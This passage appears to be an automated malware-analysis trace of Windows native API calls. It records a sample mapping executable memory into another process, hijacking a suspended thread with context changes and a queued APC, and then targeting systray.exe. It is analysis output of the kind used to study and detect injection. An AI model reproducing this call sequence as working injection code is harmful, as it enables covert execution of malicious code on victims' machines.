SectionHandle=0x88, ProcessHandle=0x84, BaseAddress=0x37dc60*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x37dc58*=0xe6c00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x37dc60*=0x6e70000, SectionOffset=0x0, ViewSize=0x37dc58*=0xe7000) returned 0x0 [0081.137] NtClose (Handle=0x88) returned 0x0 [0081.142] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x37d928 | out: TokenHandle=0x37d928*=0x88) returned 0x0 [0081.146] NtQueryInformationToken (in: TokenHandle=0x88, TokenInformationClass=0x1, TokenInformation=0x37d120, TokenInformationLength=0x400, ReturnLength=0x37d920 | out: TokenInformation=0x37d120, ReturnLength=0x37d920) returned 0x0 [0081.147] ConvertSidToStringSidW () returned 0x1 [0081.147] NtClose (Handle=0x88) returned 0x0 [0081.147] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x37db98*=0x0, ZeroBits=0x0, RegionSize=0x37db9c*=0x13423, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0x37db98*=0x70000, RegionSize=0x37db9c*=0x14000) returned 0x0 [0081.147] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x37db84*=0x0, ZeroBits=0x0, RegionSize=0x37db88*=0x13423, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0x37db84*=0x170000, RegionSize=0x37db88*=0x14000) returned 0x0 [0081.205] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x37db98*=0x41b7c9, NumberOfBytesToProtect=0x37db9c, NewAccessProtection=0x40, OldAccessProtection=0x37dbe4 | out: BaseAddress=0x37db98*=0x41b000, NumberOfBytesToProtect=0x37db9c, OldAccessProtection=0x37dbe4*=0x40) returned 0x0 [0081.211] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows\\SysWOW64\\ntdll.dll", NtPathName=0x37d990, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows\\SysWOW64\\ntdll.dll", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0081.212] NtCreateFile (in: FileHandle=0x37d9b0, DesiredAccess=0x120089, ObjectAttributes=0x37d978*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Windows\\SysWOW64\\ntdll.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x37d998, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x37d9b0*=0x88, IoStatusBlock=0x37d998*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0081.216] NtQueryInformationFile (in: FileHandle=0x88, IoStatusBlock=0x37d998, FileInformation=0x37d70c, Length=0x208, FileInformationClass=0x9 | out: IoStatusBlock=0x37d998, FileInformation=0x37d70c) returned 0x0 [0081.216] NtClose (Handle=0x88) returned 0x0 [0081.221] NtOpenProcess (in: ProcessHandle=0x37db98, DesiredAccess=0x438, ObjectAttributes=0x37d148*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x37d188*(UniqueProcess=0x460, UniqueThread=0x0) | out: ProcessHandle=0x37db98*=0x88) returned 0x0 [0081.224] NtQueryInformationProcess (in: ProcessHandle=0x88, ProcessInformationClass=0x0, ProcessInformation=0x37d198, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x37d198, ReturnLength=0x0) returned 0x0 [0081.230] NtOpenThread (in: ThreadHandle=0x37d140, DesiredAccess=0x1a, ObjectAttributes=0x37d148, ClientId=0x37d178*(UniqueProcess=0x0, UniqueThread=0x464) | out: ThreadHandle=0x37d140*=0x8c) returned 0x0 [0081.238] NtSuspendThread (in: ThreadHandle=0x8c, PreviousSuspendCount=0x0 | out: PreviousSuspendCount=0x0) returned 0x0 [0081.243] NtGetContextThread (in: ThreadHandle=0x8c, Context=0x37d690 | out: Context=0x37d690*(ContextFlags=0x0, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x10000b, FloatSave.DataSelector=0x1fa0, FloatSave.RegisterArea=([0]=0x33, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x2b, [11]=0x0, [12]=0x46, [13]=0x2, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0xf4, [73]=0x0, [74]=0x1, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x101f, SegGs=0x0, SegFs=0x28c9e20, SegEs=0x0, SegDs=0x26f0c8, Edi=0x0, Esi=0x100ee, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x46, [5]=0x2, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x1, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x4, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x3a, [45]=0x93, [46]=0x4f, [47]=0x77, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x7f, [53]=0x2, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0xa0, [77]=0x1f, [78]=0x0, [79]=0x0, [80]=0xff, [81]=0xff, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0081.247] NtSetContextThread (ThreadHandle=0x8c, Context=0x37d690*(ContextFlags=0x0, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x10000b, FloatSave.DataSelector=0x1fa0, FloatSave.RegisterArea=([0]=0x33, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x2b, [11]=0x0, [12]=0x46, [13]=0x2, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0xf4, [73]=0x0, [74]=0x1, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x101f, SegGs=0x0, SegFs=0x28c9e20, SegEs=0x0, SegDs=0x26f0c8, Edi=0x0, Esi=0x100ee, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x46, [5]=0x2, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x1, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x4, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x95, [45]=0xa2, [46]=0xeb, [47]=0x6, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x7f, [53]=0x2, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0xa0, [77]=0x1f, [78]=0x0, [79]=0x0, [80]=0xff, [81]=0xff, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0081.247] NtQueueApcThread (ThreadHandle=0x8c, ApcRoutine=0x6eba2b9, NormalContext=0x0, SystemArgument1=0x0, SystemArgument2=0x0) returned 0x0 [0081.251] NtResumeThread (in: ThreadHandle=0x8c, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0081.251] NtClose (Handle=0x88) returned 0x0 [0081.251] NtClose (Handle=0x8c) returned 0x0 [0081.251] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="user32.dll", BaseAddress=0x37d89c | out: BaseAddress=0x37d89c*=0x76380000) returned 0x0 [0081.268] PostThreadMessageW (idThread=0x464, Msg=0x111, wParam=0x0, lParam=0x0) returned 1 [0081.360] NtDelayExecution (Alertable=0, Interval=0x37d914*=-30000000) returned 0x0 [0084.371] NtReadVirtualMemory (in: ProcessHandle=0x84, BaseAddress=0x6efd000, Buffer=0x37d938, NumberOfBytesToRead=0x2a8, NumberOfBytesRead=0x0 | out: Buffer=0x37d938*, NumberOfBytesRead=0x0) returned 0x0 [0084.371] NtClose (Handle=0x84) returned 0x0 [0084.371] NtOpenProcess (in: ProcessHandle=0x37ea14, DesiredAccess=0x438, ObjectAttributes=0x37e2d4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x37e2a8*(UniqueProcess=0xbe4, UniqueThread=0x0) | out: ProcessHandle=0x37ea14*=0x84) returned 0x0 [0084.374] NtOpenThread (in: ThreadHandle=0x37ea18, DesiredAccess=0x1a, ObjectAttributes=0x37e2d4, ClientId=0x37e2a0*(UniqueProcess=0x0, UniqueThread=0xbe8) | out: ThreadHandle=0x37ea18*=0x9c) returned 0x0 [0084.374] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows\\SysWOW64\\systray.exe", NtPathName=0x37d8d8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows\\SysWOW64\\systray.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0084.374] NtCreateFile (in: FileHandle=0x37d8f8, DesiredAccess=0x120089, ObjectAttributes=0x37d8c0*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Windows\\SysWOW64\\systray.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x37d8e0, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x37d8f8*=0xa0, IoStatusBlock=0x37d8e0*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0084.375] NtQueryInformationFile (in: FileHandle=0xa0, IoStatusBlock=0x37d8e0, FileInformation=0x37d838, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x37d8e0, FileInformation=0x37d838) returned 0x0 [0084.378] NtReadFile (in: FileHandle=0xa0, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x37d8e0, Buffer=0x5a54f8, BufferLength=0x2000, ByteOffset=0x37d850*=0, Key=0x0 | out: IoStatusBlock=0x37d8e0, Buffer=0x5a54f8*) returned 0x0 [0084.380] NtClose (Handle=0xa0) returned 0x0 [0084.380] NtQueryInformationProcess (in: ProcessHandle=0x84, ProcessInformationClass=0x0, ProcessInformation=0x37dc44, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37dc44, ReturnLength=0x0) returned 0x0 [0084.380] NtReadVirtualMemory (in: ProcessHandle=0x84, BaseAddress=0x7efde008, Buffer=0x37e808, NumberOfBytesToRead=0x4, NumberOfBytesRead=0x0 | out: Buffer=0x37e808*, NumberOfBytesRead=0x0) returned 0x0 [0084.380] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x37e2ec*=0x20000, RegionSize=0x37e2f0, FreeType=0x8000) returned 0x0 [0084.380] NtReadVirtualMemory (in: ProcessHandle=0x84, BaseAddress=0x6b0000, Buffer=0x5a7900, NumberOfBytesToRead=0x5000, NumberOfBytesRead=0x0 | out: Buffer=0x5a7900*, NumberOfBytesRead=0x0) returned 0x0 [0084.381] NtCreateSection (in: SectionHandle=0x37eaa4, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x37e2f8, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x37eaa4*=0xa0) returned 0x0 [0084.381] NtMapViewOfSection (in: SectionHandle=0xa0, ProcessHandle=0xffffffff, BaseAddress=0x37eaa0*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x37e2f8*=0x29c00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x37eaa0*=0x1b0000, SectionOffset=0x0, ViewSize=0x37e2f8*=0x2a000) returned 0x0 [0084.381] NtMapViewOfSection (in: SectionHandle=0xa0, ProcessHandle=0x84, BaseAddress=0x37e560*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, 